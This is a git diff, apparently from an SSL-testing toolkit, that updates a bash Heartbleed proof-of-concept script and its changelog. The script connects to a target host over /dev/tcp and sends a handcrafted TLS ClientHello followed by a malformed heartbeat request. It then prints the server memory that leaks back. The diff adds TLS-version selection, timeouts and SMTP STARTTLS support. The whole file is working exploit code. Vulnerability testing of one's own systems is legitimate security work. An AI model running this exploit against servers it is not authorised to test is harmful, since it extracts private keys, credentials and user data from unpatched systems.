diff --git a/utils/heartbleed.bash b/utils/heartbleed.bash old mode 100644 new mode 100755 index 8155efd..be4b938 --- a/utils/heartbleed.bash +++ b/utils/heartbleed.bash @@ -8,28 +8,32 @@ # ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### +readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' + NODE="" +PORT="443" SLEEP=2 +SOCKREPLY="" COL_WIDTH=32 [ -z "$1" ] && exit 1 # TLS 1.0=x01 1.1=0x02, 1.2=0x3 # the PoC contains per default only check for TLS1.0 as the is the least common denominator -TLSV=${2:-x01} +TLSV=${2:-01} -heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00" +heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00" ## ^^^^^^^ this is the thing! client_hello=" # TLS header ( 5 bytes) ,x16, # Content type (x16 for handshake) -x03, tls_version, # TLS Version -x00, xdc, # Length +x03, x$TLSV, # TLS Version +x00, xdc, # Length # Handshake header x01, # Type (x01 for ClientHello) -x00, x00, xd8, # Length -x03, tls_version, # TLS Version +x00, x00, xd8, # Length +x03, x$TLSV, # TLS Version # Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html x53, x43, x5b, x90, x9d, x9b, x72, x0b, xbc, x0c, xbc, x2b, x92, xa8, x48, x97, @@ -73,7 +77,6 @@ msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' parse_hn_port() { - PORT=443 # unless otherwise auto-determined, see below NODE="$1" # strip "https", supposed it was supplied additionally @@ -83,51 +86,118 @@ parse_hn_port() { NODE=`echo $NODE | sed -e 's/\/.*$//'` # determine port, supposed it was supplied additionally - echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed - 's/\:.*$//'` + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` + + echo -e "\n===> connecting to $NODE:$PORT\n" } +wait_kill(){ + pid=$1 + maxsleep=$2 + while true; do + if ! ps $pid >/dev/null ; then + return 0 # didn't reach maxsleep yet + fi + sleep 1 + maxsleep=$((maxsleep - 1)) + test $maxsleep -eq 0 && break + done # needs to be killed: + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + return 3 # killed +} + + socksend() { - data=`echo $1 | sed 's/tls_version/'"$2"'/g'` + data=`echo $1` echo "\"$data\"" echo -en "$data" >&5 & sleep $SLEEP } -sockread() -{ - reply=`dd bs=$1 count=1 <&5 2>/dev/null` + +sockread() { + reply=$(dd bs=$1 count=1 <&5 2>/dev/null) + wait_kill $! $SLEEP +} + +sockread1() { + [[ "x$2" == "x" ]] && maxsleep=10 || maxsleep=$2 + ret=0 + + ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 + dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null & + wait_kill $! $maxsleep + ret=$? + SOCKREPLY=$(cat $ddreply) + rm $ddreply + + return $ret +} + +# arg1: string to send +starttls_line0() { + echo "$1" >&5 + cat <&5 & + wait_kill $! $SLEEP + #sleep $SLEEP +} + +starttls_line1() { + echo "$1" >&5 + while true; do + read line <&5 + echo $line + break + done +} + +fd_socket(){ + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 + fi + + case "$1" in # port + 25) starttls_line0 "EHLO testssl.sh" + starttls_line0 "STARTTLS" + ;; + 443|*) ;; + esac +} + +close_socket(){ + exec 5<&- + exec 5>&- + return 0 } #### main parse_hn_port "$1" +fd_socket $PORT -if ! exec 5<> /dev/tcp/$NODE/$PORT; then - echo "`basename $0`: unable to connect to $NODE:$PORT" - exit 2 -fi -# socket is now open with fd 5 - - - -echo "##### sending client hello:" +echo "##### sending standard client hello with TLS version 03,$TLSV:" socksend "$msg" $TLSV sockread 16384 -echo "##### server hello:" -echo -e "$reply" | xxd | head -20 +#sockread 10000 +echo "##### reading server hello:" +#cat $SOCKREPLY | xxd | head -20 +echo -e "$reply" | xxd | head -2 echo "[...]" echo -echo "##### sending payload with TLS version $TLSV:" +echo "###### sending payload with TLS version 03,$TLSV:" socksend $heartbleed_payload $TLSV sockread 65534 echo "###### heartbleed reply: " +echo "=============================" +#cat $SOCKREPLY | xxd | head -20 echo -e "$reply" | xxd -c$COL_WIDTH -echo +echo "=============================" lines_returned=`echo -e "$reply" | xxd | wc -l` if [ $lines_returned -gt 1 ]; then @@ -139,7 +209,9 @@ else fi echo +close_socket + exit $ret # vim:tw=100:ts=5:sw=5 -# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $ +# $Id: heartbleed.bash,v 1.9 2015/07/01 08:12:36 dirkw Exp $ diff --git a/utils/heartbleed.bash.changelog.txt b/utils/heartbleed.bash.changelog.txt index 898511d..8f16e51 100644 --- a/utils/heartbleed.bash.changelog.txt +++ b/utils/heartbleed.bash.changelog.txt @@ -1,3 +1,6 @@ +1.8 2015-07-01 +- works also for smtp+starttls now +---------------------------- 1.7, 2014-04-30 23:06:55 +0200; - legal disclaimer ----------------------------